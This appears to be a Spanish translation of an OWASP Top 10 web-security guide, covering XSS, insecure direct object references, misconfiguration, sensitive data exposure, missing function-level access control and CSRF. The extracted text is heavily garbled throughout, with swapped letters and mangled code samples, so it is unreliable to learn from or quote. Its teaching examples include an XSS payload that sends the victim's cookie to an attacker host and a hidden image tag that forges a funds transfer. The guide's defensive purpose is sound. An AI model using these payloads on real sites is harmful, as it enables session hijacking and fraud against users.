Lxp|otab|||dad
kCMLDIC
reva|enc|a
MU DIIUNDIDA
Detecc|n
IACIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n ] negoc|o
Consldere cualquler
persona que pueda
envlar daLos no
conables al slsLema,
lncluyendo usuarlos
exLernos, lnLernos y
admlnlsLradores.
Ll aLacanLe envla cadenas
de LexLo que son
secuenclas de comandos
de aLaque que exploLan el
lnLerpreLe del navegador.
Casl cualquler fuenLe de
daLos puede ser un vecLor
de aLaque, lncluyendo
fuenLes lnLernas Lales
como daLos de la base de
daLos.
SS es la falla de segurldad predomlnanLe en
apllcaclones web. Ccurren cuando una apllcacln,
en una pglna envlada a un navegador lncluye
daLos sumlnlsLrados por un usuarlo sln ser
valldados o codlcados apropladamenLe. LxlsLen
Lres upos de fallas conocldas SS: 1) Almacenadas,
2) 8ee[adas, y 3) basadas en uCM .
La mayorla de las fallas SS son deLecLadas de
forma relauvamenLe fcll a Lraves de pruebas o por
medlo del anllsls del cdlgo.
Ll aLacanLe puede
e[ecuLar secuenclas de
comandos en el
navegador de la vlcuma
para secuesLrar las
seslones de usuarlo,
alLerar la aparlencla del
sluo web, lnserLar cdlgo
hosul, redlrlglr usuarlos,
secuesLrar el navegador
de la vlcuma uullzando
malware, eLc.
Consldere el valor para el
negoclo del slsLema
afecLado y de los daLos
que esLe procesa.
1amblen consldere el
lmpacLo en el negoclo la
exposlcln publlca de la
vulnerabllldad.
L[emp|os de escenar|os de Ataques
La apllcacln uullza daLos no conables en la consLruccln del
slgulenLe cdlgo P1ML sln valldarlos o codlcarlos:
(Str|ng) page += "<|nput name='cred|tcard' type='1Lk1'
va|ue='" + request.getarameter("CC") + "'>",
Ll aLacanLe modlca el parmeLro CC" en el navegador:
'><scr|pt>document.|ocanon=
'hup:]]www.auacker.com]cg|-b|n]cook|e.cg|?
foo='+document.cook|e<]scr|pt>'.
LsLo causa que el ldenucador de sesln de la vlcuma sea envlado al
sluo web del aLacanLe, permluendo al aLacanLe secuesLrar la sesln
acLual del usuarlo.
noLar que los aLacanLes pueden Lamblen uullzar SS para anular
cualquler defensa CS8l que la apllcacln pueda uullzar. ver A8 para
lnformacln sobre CS8l.
jSoy Vu|nerab|e?
Ls vulnerable sl no asegura que Lodas las enLradas de daLos
lngresadas por los usuarlos son codlcadas adecuadamenLe, o sl no
se verlca en el momenLo de lngreso que los daLos sean seguros
anLes de ser lncluldos en la pglna de sallda. Sln la codlcacln o
valldacln deblda, dlcha enLrada ser LraLada como conLenldo acuvo
en el navegador. ue uullzarse A[ax para acLuallzar dlnmlcamenLe la
pglna, uullza una Al de !avaScrlpL segura . ue uullzar una Al de
!avaScrlpL lnsegura, se deben reallzar la codlcacln o valldacln de
las enLradas.
MedlanLe el uso de herramlenLas auLomauzadas se pueden
ldenucar clerLas vulnerabllldades de SS. Sln embargo, cada
apllcacln consLruye las pglnas de sallda de forma dlferenLe y uullza
dlsunLos lnLerpreLes en el navegador como !avaScrlpL, Acuve, llash
o SllverllghL, dlculLando la deLeccln auLomuca. una coberLura
compleLa requlere adems de enfoques auLomucos, una
comblnacln de Lecnlcas como la revlsln manual de cdlgo y de
pruebas de peneLracln.
Las Lecnologlas Web 2.0 como A[ax, hacen que SS sea mucho ms
dlncll de deLecLar medlanLe herramlenLas auLomauzadas.
keferenc|as (en |ng|s)
CWAS
- CWAS SS revenuon CheaL SheeL
- CWAS uCM based SS revenuon CheaL SheeL
- CWAS Cross-SlLe Scrlpung Arucle
- LSAl Lncoder Al
- ASvS: 8equerlmlenLos de codlcacln de salldas (v6)
- CWAS AnuSamy: 8lblloLeca de sanluzacln
-
1esung Culde: rlmeros Lres caplLulos sobre pruebas de la valldacln
de daLos
- CWAS Cula de revlsln de cdlgo: CaplLulo sobre revlsln de SS
- CWAS SS lllLer Lvaslon CheaL SheeL
Lxternas
- CWL LnLry 79 on Cross-SlLe Scrlpung
jCmo preven|r|o?
revenlr SS requlere manLener los daLos no conables separados
del conLenldo acuvo del navegador.
1. La opcln preferlda es codlcar los daLos no conables basados
en el conLexLo P1ML (cuerpo, aLrlbuLo, !avaScrlpL, CSS, o u8L)
donde sern ublcados. ara ms deLalles sobre Lecnlcas de
codlcacln, consulLe la Po[a de Lrucos de CWAS para la
prevencln SS.
2. 1amblen se recomlenda la valldacln de enLradas posluva o de
llsLa blanca", conslderando que esLa Lecnlca no es una defensa
compleLa ya que muchas apllcaclones requleren acepLar
caracLeres especlales como parLe de las enLradas vlldas. ulcha
valldacln debe, en la medlda de lo poslble, valldar el largo, los
caracLeres, el formaLo y reglas de negoclo que debe cumpllr el
daLo anLes de acepLarlo como enLrada.
3. ara conLenldo en formaLo enrlquecldo, consldere uullzar
blblloLecas de auLo sanluzacln como AnuSamy de CWAS o el
proyecLo sanluzador de P1ML en !ava.
4. Consldere uullzar pollucas de segurldad de conLenldo (CS)
para defender conLra SS la LoLalldad de su sluo.
A3
Secuenc|a de Comandos en S|nos
Cruzados (kSS)
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
ICIL
reva|enc|a
CCM0N
Detecc|n
ICIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n]negoc|o
Consldere los upos de
usuarlos en su slsLema.
LxlsLen usuarlos que
Lengan unlcamenLe
acceso parclal a
deLermlnados upos de
daLos del slsLema
un aLacanLe, como usuarlo
auLorlzado en el slsLema,
slmplemenLe modlca el
valor de un parmeLro que
se reere dlrecLamenLe a
un ob[eLo del slsLema por
oLro ob[eLo para el que el
usuarlo no se encuenLra
auLorlzado. Se concede el
acceso
normalmenLe, las apllcaclones uullzan el nombre o
clave acLual de un ob[eLo cuando se generan las
pglnas web. Las apllcaclones no slempre verlcan
que el usuarlo uene auLorlzacln sobre el ob[euvo.
LsLo resulLa en una vulnerabllldad de referencla de
ob[eLos dlrecLos lnseguros. Los audlLores pueden
manlpular fcllmenLe los valores del parmeLro
para deLecLar esLas vulnerabllldades. un anllsls de
cdlgo muesLra rpldamenLe sl la auLorlzacln se
verlca correcLamenLe.
ulchas vulnerabllldades
pueden compromeLer
Loda la lnformacln que
pueda ser referlda por
parmeLros. A menos
que el espaclo de
nombres resulLe escaso,
para un aLacanLe resulLa
senclllo acceder a Lodos
los daLos dlsponlbles de
ese upo.
Consldere el valor de
negoclo de los daLos
afecLados o las funclones
de la apllcacln
expuesLas.
1amblen consldere el
lmpacLo en el negoclo de
la exposlcln publlca de
la vulnerabllldad.
L[emp|os de escenar|os de ataques
La apllcacln uullza daLos no verlcados en una llamada SCL que
accede a lnformacln sobre la cuenLa:
Str|ng query = "SLLLC1 * IkCM accts WnLkL account = ?",
reparedStatement pstmt =
connecnon.prepareStatement(query , . ),
pstmt.setStr|ng( 1, request.getparameter("acct")),
kesu|tSet resu|ts = pstmt.executeuery( ),
Sl el aLacanLe modlca el parmeLro accL" en su navegador para
envlar cualquler numero de cuenLa que qulera. Sl esLa accln no es
verlca, el aLacanLe podrla acceder a cualquler cuenLa de usuarlo, en
vez de a su cuenLa de cllenLe correspondlenLe.
hup:]]examp|e.com]app]accountInfo?acct=notmyacct
jSoy Vu|nerab|e?
La me[or manera de poder comprobar sl una apllcacln es
vulnerable a referenclas lnseguras a ob[eLos es verlcar que Lodas
las referenclas a ob[eLos uenen las proLecclones apropladas. ara
consegulr esLo, conslderar:
1. ara referenclas d|rectas a recursos restr|ng|dos, la apllcacln
neceslLarla verlcar sl el usuarlo esL auLorlzado a acceder al
recurso en concreLo que sollclLa.
2. Sl la referencla es una referencla |nd|recta, la correspondencla
con la referencla dlrecLa debe ser llmlLada a valores auLorlzados
para el usuarlo en concreLo.
un anllsls del cdlgo de la apllcacln servlrla para verlcar
rpldamenLe sl dlchas propuesLas se lmplemenLan con segurldad.
1amblen es efecuvo reallzar comprobaclones para ldenucar
referenclas a ob[eLos dlrecLos y sl esLos son seguros. normalmenLe
las herramlenLas auLomucas no deLecLan esLe upo de
vulnerabllldades porque no son capaces de reconocer cules
neceslLan proLeccln o cules son seguros e lnseguros.
keferenc|as (en |ng|s)
CWAS
- CWAS 1op 10-2013 on lnsecure ulr Cb[ecL 8eferences
- LSAl Access 8eference Map Al
- LSAl Access ConLrol Al (Ver |sAuthor|zedIorData(),
|sAuthor|zedIorI||e(), |sAuthor|zedIorIuncnon() )

ara requlslLos adlclones en conLroles de acceso, consulLar la s
eccln de requlslLos sobre ConLrol de Acceso de ASvS (v4).
Lxternas
- CWL LnLry 639 on lnsecure ulrecL Cb[ecL 8eferences
- CWL LnLry 22 on aLh 1raversal (que es un e[emp|o de ataque de
referenc|a a un ob[eto d|recto)
jCmo preven|r|o?
8equlere selecclonar una forma de proLeger los ob[eLos acceslbles
por cada usuarlo (ldenucadores de ob[eLo, nombres de chero):
1. Un||zar referenc|as |nd|rectas por usuar|o o ses|n. LsLo
evlLarla que los aLacanLes accedleren dlrecLamenLe a recursos
no auLorlzados. or e[emplo, en vez de uullzar la clave del
recurso de base de daLos, se podrla uullzar una llsLa de 6
recursos que uullzase los numeros del 1 al 6 para lndlcar cul es
el valor elegldo por el usuarlo. La apllcacln Lendrla que reallzar
la correlacln enLre la referencla lndlrecLa con la clave de la
base de daLos correspondlenLe en el servldor. LSAl de CWAS
lncluye relaclones LanLo secuenclales como aleaLorlas de
referenclas de acceso que los desarrolladores pueden uullzar
para ellmlnar las referenclas dlrecLas a ob[eLos.
2. Comprobar e| acceso. Cada uso de una referencla dlrecLa a un
ob[eLo de una fuenLe que no es de conanza debe lnclulr una
comprobacln de conLrol de acceso para asegurar que el
usuarlo esL auLorlzado a acceder al ob[eLo sollclLado.
A4
keferenc|a d|recta |nsegura a ob[etos
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
ICIL
reva|enc|a
CCM0N
Detecc|n
ICIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n ] negoc|o
Consldere aLacanLes
annlmos exLernos asl
como usuarlos con sus
proplas cuenLas que
pueden lnLenLar
compromeLer el slsLema.
1amblen consldere
personal lnLerno
buscando enmascarar
sus acclones.
un aLacanLe accede a
cuenLas por defecLo,
pglnas sln uso, fallas sln
parchear, archlvos y
dlrecLorlos sln proLeccln,
eLc. para obLener acceso
no auLorlzado o
conoclmlenLo del slsLema.
Las conguraclones de segurldad lncorrecLas
pueden ocurrlr a cualquler nlvel de la apllcacln,
lncluyendo la plaLaforma, servldor web, servldor
de apllcacln, base de daLos, framework, y cdlgo
personallzado. Los desarrolladores y
admlnlsLradores de slsLema neceslLan Lraba[ar
[unLos para asegurar que las dlsunLas capas esLn
conguradas apropladamenLe. Las herramlenLas
de deLaccln auLomauzadas son uules para
deLecLar parches omludos, fallos de conguracln,
uso de cuenLas por defecLo, servlclos lnnecesarlos,
eLc.
LsLas vulnerabllldades
frecuenLemenLe dan a
los aLacanLes acceso no
auLorlzado a algunas
funclonalldades o daLos
del slsLema.
CcaslonalmenLe
provocan que el slsLema
se compromeLa
LoLalmenLe.
Ll slsLema podrla ser
compleLamenLe
compromeudo sln su
conoclmlenLo. 1odos sus
daLos podrlan ser
robados o modlcados
lenLamenLe en el uempo.
Los cosLes de
recuperacln podrlan ser
alLos.
L[emp|os de escenar|os de Ataque
Lscenarlo 1: La consola de admlnlsLrador del servldor de
apllcaclones se lnsLal auLomucamenLe y no se ha ellmlnado. Las
cuenLas por defecLo no se han modlcado. un aLacanLe descubre las
pglnas por defecLo de admlnlsLracln que esLn en su servldor, se
conecLa con las conLrasenas por defecLo y lo Loma.
Lscenarlo 2: Ll llsLado de dlrecLorlos no se encuenLra deshablllLado
en su servldor. Ll aLacanLe descubre que puede slmplemenLe llsLar
dlrecLorlos para enconLrar cualquler archlvo. Ll aLacanLe encuenLra y
descarga Lodas sus clases complladas de !ava, las cuales decomplla y
reallza lngenlerla lnversa para obLener Lodo su cdlgo fuenLe.
LncuenLra un fallo serlo de conLrol de acceso en su apllcacln.
Lscenarlo 3: La conguracln del servldor de apllcaclones permlLe
que se reLornen la plla de llamada a los usuarlos, exponlendose
poLenclalmenLe a fallos subyacenLes. A los aLacanLes les encanLa que
les proporclonen lnformacln exLra con los mensa[es de errores.
Lscenarlo 4: Ll servldor de apllcaclones vlene con apllcaclones de
e[emplo que no se ellmlnaron del servldor de produccln. Las
apllcaclones de e[emplo pueden poseer fallos de segurldad blen
conocldos que los aLacanLes pueden uullzar para compromeLer su
servldor.
jSoy vu|nerab|e?
CuenLa su apllcacln con el aproplado forLaleclmlenLo en segurldad
a Lraves de Lodas las capas que la componen lncluyendo:
1. 1lene algun soware sln acLuallzar LsLo lncluye el SC, Servldor
Web/Apllcacln, u8MS, apllcaclones, y todas |as ||brer|as de
cd|go (ver nuevo A9).
2. LsLn hablllLadas o lnsLaladas alguna caracLerlsuca lnnecesarla
(p. e[. puerLos, servlclos, pglnas, cuenLas, prlvlleglos)
3. LsLn las cuenLas por defecLo y sus conLrasenas aun hablllLadas
y sln camblar
4. Su mane[o de errores revela rasLros de las capas de apllcacln
u oLros mensa[es de error demaslado lnformauvos a los
usuarlos
3. LsLn las conguraclones de segurldad en su framework de
desarrollo (p. e[. SLruLs, Sprlng, AS.nL1) y llbrerlas sln
congurar a valores seguros
Sln un proceso repeuble y concerLado de conguracln de segurldad
para las apllcaclones , los slsLemas esLn en alLo rlesgo.
keferenc|as (en |ng|s)
CWAS
- CWAS uevelopmenL Culde: ChapLer on Congurauon
- CWAS Code 8evlew Culde: ChapLer on Lrror Pandllng
- CWAS 1esung Culde: Congurauon ManagemenL
- CWAS 1esung Culde: 1esung for Lrror Codes
- CWAS 1op 10 2004 - lnsecure Congurauon ManagemenL
ara requerlmlenLos adlclonales en esLe rea, ver
ASvS requlremenLs area for SecurlLy Congurauon (v12).
Lxternos
- C Magazlne Arucle on Web Server Pardenlng
- CWL LnLry 2 on LnvlronmenLal SecurlLy llaws
- ClS SecurlLy Congurauon Culdes/8enchmarks
jCmo preven|r|o?
Las recomendaclones prlmarlas son el esLableclmlenLo de Lodo lo
slgulenLe:
1. un proceso rpldo, fcll y repeuble de forLaleclmlenLo para
obLener un enLorno apropladamenLe asegurado. Los enLornos
de uesarrollo, CA y roduccln deben ser congurados
ldenucamenLe (con dlferenLes conLrasenas usadas en cada
enLorno). LsLe proceso puede ser auLomuco para mlnlmlzar el
esfuerzo de congurar un nuevo enLorno seguro.
2. un proceso para manLener y desplegar las nuevas
acLuallzaclones y parches de soware de una manera oporLuna
para cada enLorno. uebe lnclulr Lamblen todas |as ||brer|as de
cd|go (ver nuevo A9).
3. una fuerLe arqulLecLura de apllcacln que proporclone una
separacln segura y efecuva enLre los componenLes.
4. Consldere e[ecuLar escaneos y reallzar audlLorlas
perldlcamenLe para ayudar a deLecLar fallos de conguracln
o parches omludos.
AS
Conhgurac|n de Segur|dad
Incorrecta
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
DIIICIL
reva|enc|a
NC CCM0N
Detecc|n
kCMLDIC
Impacto
SLVLkC
Lspec|hco de |a
Ap||cac|n]Negoc|o
Consldere qulen puede
obLener acceso a sus
daLos senslbles y
cualquler respaldo de
esLos. LsLo lncluye los
daLos almacenados, en
LrnslLo, e lncluslve en el
navegador del cllenLe.
lncluye LanLo amenazas
lnLernas y exLernas.
Los aLacanLes plcamenLe
no qulebran la crlpLograna
de forma dlrecLa, slno algo
ms como robar claves,
reallzar aLaques man ln
Lhe mlddle", robar daLos
en LexLo claro del servldor,
mlenLras se encuenLran en
LrnslLo, o del navegador
del usuarlo.
La debllldad ms comun es slmplemenLe no clfrar
daLos senslbles. Cuando se emplea clfrado, es
comun deLecLar generacln y gesun deblles de
claves, el uso de algorlLmos deblles, y
parucularmenLe Lecnlcas deblles de hashlng de
conLrasenas. Las debllldades a nlvel del navegador
son muy comunes y fclles de deLecLar, pero
dlnclles de exploLar a gran escala. ALacanLes
exLernos encuenLran dlculLades deLecLando
debllldades en a nlvel de servldor dado el acceso
llmlLado y que son usualmenLe dlnclles de exploLar.
Los fallos
frecuenLemenLe
compromeLen Lodos los
daLos que deberlan esLar
proLegldos. 1lplcamenLe,
esLa lnformacln lncluye
daLos senslbles como ser
reglsLros medlcos,
credenclales, daLos
personales, Lar[eLas de
credlLo, eLc.
Consldere el valor de
negoclo de la perdlda de
daLos y el lmpacLo a su
repuLacln. Cul su
responsabllldad legal sl
esLos daLos son
expuesLos 1amblen
consldere el dano a la
repuLacln.
L[emp|os de escenar|os de Ataques
Lscenarlo 1: una apllcacln clfra los numeros de Lar[eLas de credlLo
en una base de daLos uullzando clfrado auLomuco de la base de
daLos. LsLo slgnlca que Lamblen se desclfra esLos daLos
auLomucamenLe cuando se recuperan, permluendo por medlo de
una debllldad de lnyeccln de SCL recuperar numeros de Lar[eLas en
LexLo claro. Ll slsLema deberla clfrar dlchos numero usando una
clave publlca, y permlur solamenLe a las apllcaclones de back-end
desclfrarlo con la clave prlvada.
Lscenarlo 2: un sluo slmplemenLe no uullza SSL para Lodas sus
pglnas que requleren auLenucacln. Ll aLacanLe monlLorea el
Lrco en la red (como ser una red lnalmbrlca ablerLa), y obuene la
cookle de sesln del usuarlo. Ll aLacanLe reenvla la cookle y
secuesLra la sesln, accedlendo los daLos prlvados del usuarlo.
Lscenarlo 3: La base de daLos de claves usa hashes sln salL para
almacenar las claves. una falla en una sublda de archlvo permlLe a
un aLacanLe obLener el archlvo de claves. 1odas las claves pueden
ser expuesLas medlanLe una Labla ralnbow de hashes precalculados.
jSoy Vu|nerab|e?
Lo prlmero que debe deLermlnar es el con[unLo de daLos senslbles
que requerlrn proLeccln exLra. or e[emplo, conLrasenas, numeros
de Lar[eLas de credlLo, reglsLros medlcos, e lnformacln personal
deberlan proLegerse. ara esLos daLos:
1. Se almacenan en LexLo claro a largo plazo, lncluyendo sus
respaldos
2. Se LransmlLe en LexLo claro, lnLerna o exLernamenLe Ll Lrco
por lnLerneL es especlalmenLe pellgroso.
3. Se uullza algun algorlLmo crlpLogrco debll/anugo
4. Se generan claves crlpLogrcas deblles, o falLa una adecuada
roLacln o gesun de claves
3. Se uullzan LanLo cabezales como dlrecuvas de segurldad del
navegador cuando son envlados o provlsLos por el mlsmo

? ms ... or un con[unLo compleLo de problemas a evlLar, ver
ASvS areas CrypLo (v7), uaLa roL. (v9), and SSL (v10).
keferenc|as en |ng|s)
CWAS
ara un con[unLo compleLo de requerlmlenLos, ver
ASVS reqs on Cryptography (V7), Data rotecnon (V9) y
Commun|canons Secur|ty (V10)
- CWAS CrypLographlc SLorage CheaL SheeL
- CWAS assword SLorage CheaL SheeL
- CWAS 1ransporL Layer roLecuon CheaL SheeL
- CWAS 1esung Culde: ChapLer on SSL/1LS 1esung
Lxternas
- CWL LnLry 310 on CrypLographlc lssues
- CWL LnLry 312 on ClearLexL SLorage of Sensluve lnformauon
- CWL LnLry 319 on ClearLexL 1ransmlsslon of Sensluve lnformauon
- CWL LnLry 326 on Weak Lncrypuon

jCmo preven|r|o?
Los rlesgos compleLos de uullzar clfrado de forma no segura, uso de
SSL, y proLeccln de daLos escapan al alcance del 1op 10. ulcho esLo,
para los daLos senslbles, se deben reallzar como mlnlmo lo slgulenLe:
1. Consldere las amenazas de las cules proLeger los daLos (e[:
aLacanLe lnLerno, usuarlo exLerno), asegurese de clfrar los daLos
senslbles almacenados o en Lrco de manera de defenderse
de esLas amenazas.
2. no almacene daLos senslbles lnnecesarlamenLe. uescrLelos
apenas sea poslble. uaLos que no se poseen no pueden ser
robados.
3. Asegurese de apllcar algorlLmos de clfrado fuerLes y esLndar
asl como claves fuerLes y gesunelas de forms segura.
Consldere uullzar mdulos crlpLogrcos valldados como
llS 140
4. Asegurese que las claves se almacenan con un algorlLmo
especlalmenLe dlsenado para proLegerlas como ser bcrypL,
8ul2 o scrypL.
3. ueshablllLe el auLocompleLar en los formularlos que recolecLan
daLos senslbles. ueshablllLe Lamblen el cacheado de pglnas
que conLengan daLos senslbles.
A6
Lxpos|c|n de datos sens|b|es
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
ICIL
reva|enc|a
CCM0N
Detecc|n
kCMLDIC
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n]negoc|o
Cualqulera con acceso a
la red puede envlar una
peucln a su apllcacln.
un usuarlo annlmo
podrla acceder a una
funclonalldad prlvada o
un usuarlo normal
acceder a una funcln
que requlere prlvlleglos
Ll aLacanLe, que es un
usuarlo leglumo en el
slsLema, slmplemenLe
cambla la u8L o un
parmeLro a una funcln
con prlvlleglos. Se le
concede acceso usuarlos
annlmos podrlan acceder
a funclonalldades prlvadas
que no esLen proLegldas.
Las apllcaclones no slempre proLegen las
funclonalldades adecuadamenLe. Ln ocaslones la
proLeccln a nlvel de funclonalldad se admlnlsLra
por medlo de una conguracln, y el slsLema esL
mal congurado. CLras veces los programadores
deben lnclulr un adecuado chequeo por cdlgo, y
se olvldan.
La deLeccln de esLe upo de vulnerallldad es
senclllo. La parLe ms comple[a es ldenucar que
pglnas (u8Ls) o funclonalldades aLacables exlsLen.
LsLas vulnerabllldades
permlLen el acceso no
auLorlzado de los
aLacanLes a funclones del
slsLema.
Las funclones
admlnlsLrauvas son un
ob[euvo clave de esLe
upo de aLaques.
Consldere el valor para
su negoclo de las
funclones expuesLas y los
daLos que esLas
procesan. Adems,
consldere el lmpacLo a su
repuLacln sl esLa
vulnerabllldad se hlclera
publlca.
L[emp|os de Lscenar|os de Ataque
Lscenarlo 1: Ll aLacanLe slmplemenLe fuerza la navegacln hacla las
u8Ls ob[euvo. La slgulenLe u8Ls requlere auLenucacln. Los
derechos de admlnlsLrador Lamblen son requerldos para el acceso a
la pglna admlngeLapplnfo".
hup:]]examp|e.com]app]getappInfo
hup:]]examp|e.com]app]adm|ngetappInfo
Sl un usuarlo no auLenucado puede acceder a ambas pglnas, eso es
una vulnerabllldad. Sl un usuarlo auLenucado, no admlnlsLrador,
puede acceder a admlngeLapplnfo", Lamblen es una
vulnerabllldad, y podrla llevar al aLacanLe a ms pglnas de
admlnlsLracln proLegldas lnadecuadamenLe.

Lscenarlo 2: una pglna proporclona un parmeLro de accln"
para especlcar la funcln que ha sldo lnvocada, y dlferenLes
acclones requleren dlferenLes roles. Sl esLos roles no se verlcan al
lnvocar la accln, es una vulnerabllldad.
jSoy vu|nerab|e?
La me[or manera de deLermlnar sl una apllcacln falla en resLrlnglr
adecuadamenLe el acceso a nlvel de funclonalldades es verlcar
cada funclonalldad de la apllcacln:
1. La lnLerfaz de usuarlo (ul) muesLra la navegacln hacla
funclonalldades no auLorlzadas
2. LxlsLe auLenucacln del lado del servldor, o se han perdldo las
comprobaclones de auLorlzacln
3. Los conLroles del lado del servldor se basan excluslvamenLe
en la lnformacln proporclonada por el aLacanLe
usando un proxy, navegue su apllcacln con un rol prlvlleglado.
Luego vlslLe relLeradamenLe pglnas resLrlngldas usando un rol con
menos prlvlleglos. Sl el servldor responde a ambos por lgual,
probablemenLe es vulnerable. Algunas pruebas de proxles apoyan
dlrecLamenLe esLe upo de anllsls.
1amblen puede revlsar la lmplemenLacln del conLrol de acceso en
el cdlgo. lnLenLe segulr una sollclLud unlLarla y con prlvlleglos a
Lraves del cdlgo y verlque el paLrn de auLorlzacln. Luego busque
en el cdlgo para deLecLar donde no se esL slgulendo ese paLrn .
Las herramlenLas auLomauzadas no suelen enconLrar esLos
problemas.
keferenc|as (en |ng|s)
CWAS
- CWAS 1op 10-2007 on lallure Lo 8esLrlcL u8L Access
- LSAl Access ConLrol Al
- CWAS uevelopmenL Culde: ChapLer on AuLhorlzauon
- CWAS 1esung Culde: 1esung for aLh 1raversal
- CWAS Arucle on lorced 8rowslng
ara requerlmlenLos de conLrol de acceso adlclonales, ver
ASvS requlremenLs area for Access ConLrol (v4).

Lxternos
- CWL LnLry 283 on lmproper Access ConLrol (AuLhorlzauon)
jCmo preven|r|o?
La apllcacln deberla Lener un mdulo de auLorlzacln conslsLenLe y
fcll de anallzar, lnvocado desde Lodas las funclones de negoclo.
lrecuenLemenLe, esa proLeccln es provlsLa por uno o ms
componenLes exLernos al cdlgo de la apllcacln.
1. Ll proceso para gesun de accesos y permlsos deberla ser
acLuallzable y audlLable fcllmenLe. no lo lmplemenLe
dlrecLamenLe en el cdlgo sln uullzar parameLrlzaclones.
2. La lmplemenLacln del mecanlsmo deberla negar Lodo acceso
por defecLo, requlrlendo el esLableclmlenLo expllclLo de
permlsos a roles especlcos para acceder a cada funclonalldad.
3. Sl la funclonalldad forma parLe de un workow, verlque y
aseguese que las condlclones del u[o se encuenLren en el
esLado aproplado para permlur el acceso.
nC1A: La mayorla de las apllcaclones web no despllegan llnks o
boLones para funclones no auLorlzadas, pero en la prcuca el
conLrol de acceso de la capa de presenLacln" no provee
proLeccln. ud. deberla lmplemenLar chequeos en los conLroladores
y/o lglcas de negoclos.

A7
Inex|stente Contro| de Acceso
a n|ve| de func|ona||dades
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
kCMLDIC
reva|enc|a
CCM0N
Detecc|n
ICIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n]negoc|o
Consldere cualquler
persona que pueda
cargar conLenldo en los
navegadores de los
usuarlos, y asl obllgarlos
a presenLar una sollclLud
para su sluo web.
Cualquler sluo web o
canal P1ML que el
usuarlo acceda puede
reallzar esLe upo de
aLaque.
Ll aLacanLe crea peuclones
P11 falslcadas y engana
a la vlcuma medlanLe el
envlo de euqueLas de
lmgenes, SS u oLras
Lecnlcas. Sl el usuarlo esL
auLenucado, el aLaque
uene exlLo.
CS8l aprovecha el hecho que la mayorla de las
apllcaclones web permlLen a los aLacanLes predeclr
Lodos los deLalles de una accln en parucular.
uado que los navegadores envlan credenclales
como cookles de sesln de forma auLomuca, los
aLacanLes pueden crear pglnas web mallclosas
que generan peuclones falslcadas que son
lndlsungulbles de las leglumas. La deLeccln de
fallos de upo CS8l es basLanLe fcll a Lraves de
pruebas de peneLracln o de anllsls de cdlgo.
Los aLacanLes pueden
camblar cualquler daLo
que la vlcuma esLe
auLorlzada a camblar, o a
acceder a cualquler
funclonalldad donde esLe
auLorlzada, lncluyendo
reglsLro, camblos de
esLado o clerre de sesln.
Conslderar el valor de
negoclo asoclado a los
daLos o funclones
afecLados. 1ener en
cuenLa lo que represenLa
no esLar seguro sl los
usuarlos en realldad
desean reallzar dlchas
acclones. Conslderar el
lmpacLo que uene en la
repuLacln de su
negoclo.
L[emp|os de Lscenar|os de Ataque
La apllcacln permlLe al usuarlo envlar una peucln de camblo de
esLado no lncluya nada secreLo. or e[emplo:
hup:]]examp|e.com]app]transferIunds?
amount=1S00desnnanonAccount=4673243243
ue esLa forma, el aLacanLe consLruye una peucln que Lransferlr el
dlnero de la cuenLa de la vlcuma hacla su cuenLa. SeguldamenLe, el
aLacanLe lnserLa su aLaque en una euqueLa de lmagen o lframe
almacenado en varlos sluos conLrolados por el de la slgulenLe forma:
<|mg src="hup:]]examp|e.com]app]transferIunds?
amount=1S00desnnanonAccount=auackersAcct" w|dth="0"
he|ght="0" ]>
Sl la vlcuma vlslLa alguno de los sluos conLrolados por el aLacanLe,
esLando ya auLenucado en example.com, esLas peuclones
falslcadas lnclulrn auLomucamenLe la lnformacln de la sesln
del usuarlo, auLorlzando la peucln del aLacanLe.
jSoy vu|nerab|e?
ara conocer sl una apllcacln es vulnerable, verlque la ausencla de
un Loken lmpredeclble en cada enlace y formularlo. Ln dlcho caso,
un aLacanLe puede falslcar peuclones mallclosas. una defensa
alLernauva puede ser la de requerlr que el usuarlo demuesLre su
lnLencln de envlar la sollclLud, ya sea a Lraves de la re-
auLenucacln, o medlanLe cualquler oLra prueba que demuesLre que
se LraLa de un usuarlo real (por e[emplo, un CA1CPA).
CenLrese en los enlaces y formularlos que lnvoquen funclones que
permlLan camblos de esLados, ya que esLos son los ob[euvos ms
lmporLanLes del CS8l.
ueben verlcarse las operaclones de muluples pasos, ya que no son
lnmunes a esLe upo de aLaque. Los aLacanLes pueden falslcar
fcllmenLe una serle de sollclLudes medlanLe el uso de euqueLas o
lncluso de cdlgo !avascrlpL.
1enga en cuenLa que las cookles de sesln, dlrecclones l de orlgen,
asl como oLra lnformacln envlada auLomucamenLe por el
navegador no proveen nlnguna defensa ya que esLa lnformacln
Lamblen se lncluye en las sollclLudes de falslcadas.
La herramlenLa de pruebas CS8l (CS8l 1esLer) de CWAS puede
ayudar a generar casos de prueba que ayuden a demosLrar los danos
y pellgros de los fallos de upo CS8l.
keferenc|as
CWAS
CWAS CS8l Arucle
CWAS CS8l revenuon CheaL SheeL
CWAS CS8lCuard - CS8l uefense 1ool
LSAl ro[ecL Pome age
LSAl P11uullues Class wlLh AnuCS8l 1okens
CWAS 1esung Culde: ChapLer on CS8l 1esung
CWAS CS8l1esLer - CS8l 1esung 1ool
Lxternos
CWL LnLry 332 on CS8l
jCmo preven|r|o?
La prevencln CS8l por lo general requlere la lnclusln de un Loken
no predeclble en cada sollclLud P11. LsLos Lokens deben ser, como
mlnlmo, unlcos por cada sesln del usuarlo.
1. La opcln preferlda es lnclulr el Loken unlco en un campo
oculLo. LsLo hace que el valor de dlcho campo se envle en el
